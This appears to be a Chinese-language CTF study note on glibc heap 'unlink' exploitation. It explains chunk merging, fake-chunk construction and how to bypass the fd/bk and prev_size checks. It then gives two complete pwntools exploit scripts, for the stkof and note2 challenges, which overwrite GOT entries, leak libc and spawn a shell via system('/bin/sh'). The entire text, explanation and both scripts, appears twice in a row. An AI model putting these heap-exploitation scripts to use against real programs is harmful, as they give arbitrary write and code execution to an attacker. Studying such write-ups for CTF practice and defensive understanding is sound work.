0%

unlink

unlink利用

简单的讲就是把空闲的chunk合并,(如果真是这么简单就好了,苦笑)

unlink是一个函数,当一个chunk被free后,他会检测这个chunk上的物理相邻地址,如果空闲的话两个chunk就会合并,注意要释放的这个chunk大小得超过fastbins的大小(0x80)

确定相邻低地址堆是否为空闲堆看的是size的最后一位p,如果它为0时,表示上一个堆是空闲的,那就可以进行合并,两个堆要进行合并,那得知道这个合并的堆的物理地址才行,电脑并不能像人类一样肉眼就知道上一个堆的物理地址在那,他是通过这个堆的prev_size的大小确定的,prev_size是堆的前八个字节,如果p为0的话,那就记录这上个相邻堆的大小,当前堆地址减去prev_size就是上个堆的地址。

通过p和prev_size知道上个堆是空闲的且确定了堆的地址,那就可以对上一个堆进行ublink操作了。

image-20211112002946764

就是链表操作,链表上p的下一个chunk是p->fd,上一个chunk是p->bk,操作目的就是把这个两个chunk连起来

令FD=p->fd,BK=p->bk

然后令FD->bk=BK;BK->fd=FD;

就把p摘下来了,仔细看起来并没有什么漏洞,ok,本文完

苦笑,就是看起来没有漏洞所以利用起来的时候就很麻烦,如果我们在将要free掉的chunk前面fake一个chunk的话,并且伪造成空闲的,那free的时候就会合并这个fakechunk,因为是我们伪造的,所以这个chunk的fd和bk都是可控的,然后就可以让他乱指了(并不是。

先假设unlink没有限制条件,用他来完成任一地址写,假设任意写的地址为addr,要写的内容为value,令p->fd=addr-0x18,BK=value,那unlink执行FD->bk=BK是就是*(addr-0x18+0x18)=value,就完成任意写了。

怎么可能这么简单,这是古老版本unlink的执行过程,现在的ublink都设置了限制条件,即FD->bk=p&BK->fd,如果不相等就会执行错误,这样就又看似无法利用漏洞了,但道高一尺魔高一丈,我们可以利用这个机制完成一个目标,即令储存chunk地址的指针指向这个指针的前三个位置处,比如储存chunk的指令是这样排布的,m,n,b,v,我们要ublink掉b的话,就可以让b指向m,也就是前十八个字节(64位系统),*(b)=&m,这样就会让堆指针没指到堆了。

出了上面的那个限制条件,unlink还有另一个限制条件

1
2
3
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");

就是要unlink的堆的大小被两个地方记录,一个是自身的size另一个下一个物理相邻堆的prev_size,他会检查这个两个地方是否相等,所以伪造堆的时候还得构造prev_size,prev_size的地址就是当前堆加上自己的size就是下一个堆的地址,也是prev-size的地址。只要使(p+size)=size就行。

至于怎么完成这个目标,我觉得挺巧妙的,就是直接令FD->bk和BK->fd都指向p堆的指针,所以fd和bk不是储存p堆的地址,而是储存p堆指针的地址,令储存p堆的指针为m,这样执行FD->bk=BK;BK->fd=FD;就是这个样子

FD->bk=m=BK=(&m-0x10);;BK->fd=m=(&m-0x18)
最后m=(&m-0x18).再对p堆写入数据时,实际上就向&m-0x18处写入数据。okok,大工搞成(我觉得我讲的挺明白的了)

贴下wiki的例题stkof脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level='debug'
sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
p=0x602140+16
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')

def edit(index,le,content):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(le))
sh.send(content)
sh.recvuntil('OK\n')

def free(index):
sh.sendline('3')
sh.sendline(str(index))


alloc(0x100)
#index=2
alloc(0x30)
#index=3
alloc(0x80)
#fake chunk
payload=p64(0)+p64(0x20)+p64(p-0x18)+p64(p-0x10)+p64(0x20)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
#unlink
free(3)
sh.recvuntil('OK\n')
payload1='a'*0x8+p64(elf.got['free'])+p64(elf.got['puts'])
payload1+=p64(elf.got['atoi'])

edit(2,len(payload1),payload1)

payload2=p64(elf.plt['puts'])
edit(0,len(payload2),payload2)
free(1)
puts_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.symbols['puts']
system=libc_base+libc.symbols['system']
binsh_addr=binsh_addr = libc_base + next(libc.search('/bin/sh'))
payload3=p64(system)
edit(2,len(payload3),payload3)
sh.send(p64(binsh_addr))
sh.interactive()

下面是note2的脚本,和上面的例题差不多,都是绕过两个条件就行。布置好堆的情况就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
sh=process('./note2')
context.log_level='debug'
elf=ELF('./note2')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
head=0x602120
#gdb.attach(sh,'b *0x400F6C')
def init(name,addr):
sh.recvuntil('Input your name:')
sh.sendline(name)
sh.recvuntil('Input your address:')
sh.sendline(str(addr))
def alloc(size,content):
sh.sendline('1')
sh.recvuntil('Input the length of the note content:(less than 128)')
sh.sendline(str(size))
sh.recvuntil('Input the note content:')
sh.sendline(content)

def show(index):
sh.sendline('2')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

def edit(index,choice,content):
sh.sendline('3')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))
sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
sh.sendline(str(choice))
sh.recvuntil('TheNewContents:')
sh.sendline(content)
sh.recvuntil('Edit note success!')

def free(index):
sh.sendline('4')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

init('rootzh',0x12)
payload='a'*0x8+p64(0xa1)+p64(head-0x18)+p64(head-0x10)+'a'*0x60
alloc(0x80,payload)
alloc(0,'bbbbb')
alloc(0x80,'ccccc')
free(1)
payload1='a'*0x10+p64(0xa0)+p64(0x90)
alloc(0,payload1)
free(2)
payload2='a'*0x18+p64(elf.got['atoi'])
edit(0,1,payload2)
show(0)
sh.recvuntil('Content is ')
atoi_addr=u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
print hex(atoi_addr)
libc_base=atoi_addr-libc.symbols['atoi']
print hex(libc_base)
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload3=p64(system)
print hex(system)
edit(0,1,payload3)
sh.recvuntil('option--->>')
sh.sendline(p64(binsh))
sh.interactive()

unlink利用

简单的讲就是把空闲的chunk合并,(如果真是这么简单就好了,苦笑)

unlink是一个函数,当一个chunk被free后,他会检测这个chunk上的物理相邻地址,如果空闲的话两个chunk就会合并,注意要释放的这个chunk大小得超过fastbins的大小(0x80)

确定相邻低地址堆是否为空闲堆看的是size的最后一位p,如果它为0时,表示上一个堆是空闲的,那就可以进行合并,两个堆要进行合并,那得知道这个合并的堆的物理地址才行,电脑并不能像人类一样肉眼就知道上一个堆的物理地址在那,他是通过这个堆的prev_size的大小确定的,prev_size是堆的前八个字节,如果p为0的话,那就记录这上个相邻堆的大小,当前堆地址减去prev_size就是上个堆的地址。

通过p和prev_size知道上个堆是空闲的且确定了堆的地址,那就可以对上一个堆进行ublink操作了。

image-20211112002946764

就是链表操作,链表上p的下一个chunk是p->fd,上一个chunk是p->bk,操作目的就是把这个两个chunk连起来

令FD=p->fd,BK=p->bk

然后令FD->bk=BK;BK->fd=FD;

就把p摘下来了,仔细看起来并没有什么漏洞,ok,本文完

苦笑,就是看起来没有漏洞所以利用起来的时候就很麻烦,如果我们在将要free掉的chunk前面fake一个chunk的话,并且伪造成空闲的,那free的时候就会合并这个fakechunk,因为是我们伪造的,所以这个chunk的fd和bk都是可控的,然后就可以让他乱指了(并不是。

先假设unlink没有限制条件,用他来完成任一地址写,假设任意写的地址为addr,要写的内容为value,令p->fd=addr-0x18,BK=value,那unlink执行FD->bk=BK是就是*(addr-0x18+0x18)=value,就完成任意写了。

怎么可能这么简单,这是古老版本unlink的执行过程,现在的ublink都设置了限制条件,即FD->bk=p&BK->fd,如果不相等就会执行错误,这样就又看似无法利用漏洞了,但道高一尺魔高一丈,我们可以利用这个机制完成一个目标,即令储存chunk地址的指针指向这个指针的前三个位置处,比如储存chunk的指令是这样排布的,m,n,b,v,我们要ublink掉b的话,就可以让b指向m,也就是前十八个字节(64位系统),*(b)=&m,这样就会让堆指针没指到堆了。

出了上面的那个限制条件,unlink还有另一个限制条件

1
2
3
// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");

就是要unlink的堆的大小被两个地方记录,一个是自身的size另一个下一个物理相邻堆的prev_size,他会检查这个两个地方是否相等,所以伪造堆的时候还得构造prev_size,prev_size的地址就是当前堆加上自己的size就是下一个堆的地址,也是prev-size的地址。只要使(p+size)=size就行。

至于怎么完成这个目标,我觉得挺巧妙的,就是直接令FD->bk和BK->fd都指向p堆的指针,所以fd和bk不是储存p堆的地址,而是储存p堆指针的地址,令储存p堆的指针为m,这样执行FD->bk=BK;BK->fd=FD;就是这个样子

FD->bk=m=BK=(&m-0x10);;BK->fd=m=(&m-0x18)
最后m=(&m-0x18).再对p堆写入数据时,实际上就向&m-0x18处写入数据。okok,大工搞成(我觉得我讲的挺明白的了)

贴下wiki的例题stkof脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level='debug'
sh=process('./stkof')
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
p=0x602140+16
def alloc(size):
sh.sendline('1')
sh.sendline(str(size))
sh.recvuntil('OK\n')

def edit(index,le,content):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(le))
sh.send(content)
sh.recvuntil('OK\n')

def free(index):
sh.sendline('3')
sh.sendline(str(index))


alloc(0x100)
#index=2
alloc(0x30)
#index=3
alloc(0x80)
#fake chunk
payload=p64(0)+p64(0x20)+p64(p-0x18)+p64(p-0x10)+p64(0x20)
payload=payload.ljust(0x30,'a')
payload+=p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
#unlink
free(3)
sh.recvuntil('OK\n')
payload1='a'*0x8+p64(elf.got['free'])+p64(elf.got['puts'])
payload1+=p64(elf.got['atoi'])

edit(2,len(payload1),payload1)

payload2=p64(elf.plt['puts'])
edit(0,len(payload2),payload2)
free(1)
puts_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(puts_addr)
libc_base=puts_addr-libc.symbols['puts']
system=libc_base+libc.symbols['system']
binsh_addr=binsh_addr = libc_base + next(libc.search('/bin/sh'))
payload3=p64(system)
edit(2,len(payload3),payload3)
sh.send(p64(binsh_addr))
sh.interactive()

下面是note2的脚本,和上面的例题差不多,都是绕过两个条件就行。布置好堆的情况就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
sh=process('./note2')
context.log_level='debug'
elf=ELF('./note2')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
head=0x602120
#gdb.attach(sh,'b *0x400F6C')
def init(name,addr):
sh.recvuntil('Input your name:')
sh.sendline(name)
sh.recvuntil('Input your address:')
sh.sendline(str(addr))
def alloc(size,content):
sh.sendline('1')
sh.recvuntil('Input the length of the note content:(less than 128)')
sh.sendline(str(size))
sh.recvuntil('Input the note content:')
sh.sendline(content)

def show(index):
sh.sendline('2')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

def edit(index,choice,content):
sh.sendline('3')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))
sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
sh.sendline(str(choice))
sh.recvuntil('TheNewContents:')
sh.sendline(content)
sh.recvuntil('Edit note success!')

def free(index):
sh.sendline('4')
sh.recvuntil('Input the id of the note:\n')
sh.sendline(str(index))

init('rootzh',0x12)
payload='a'*0x8+p64(0xa1)+p64(head-0x18)+p64(head-0x10)+'a'*0x60
alloc(0x80,payload)
alloc(0,'bbbbb')
alloc(0x80,'ccccc')
free(1)
payload1='a'*0x10+p64(0xa0)+p64(0x90)
alloc(0,payload1)
free(2)
payload2='a'*0x18+p64(elf.got['atoi'])
edit(0,1,payload2)
show(0)
sh.recvuntil('Content is ')
atoi_addr=u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
print hex(atoi_addr)
libc_base=atoi_addr-libc.symbols['atoi']
print hex(libc_base)
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search('/bin/sh'))
payload3=p64(system)
print hex(system)
edit(0,1,payload3)
sh.recvuntil('option--->>')
sh.sendline(p64(binsh))
sh.interactive()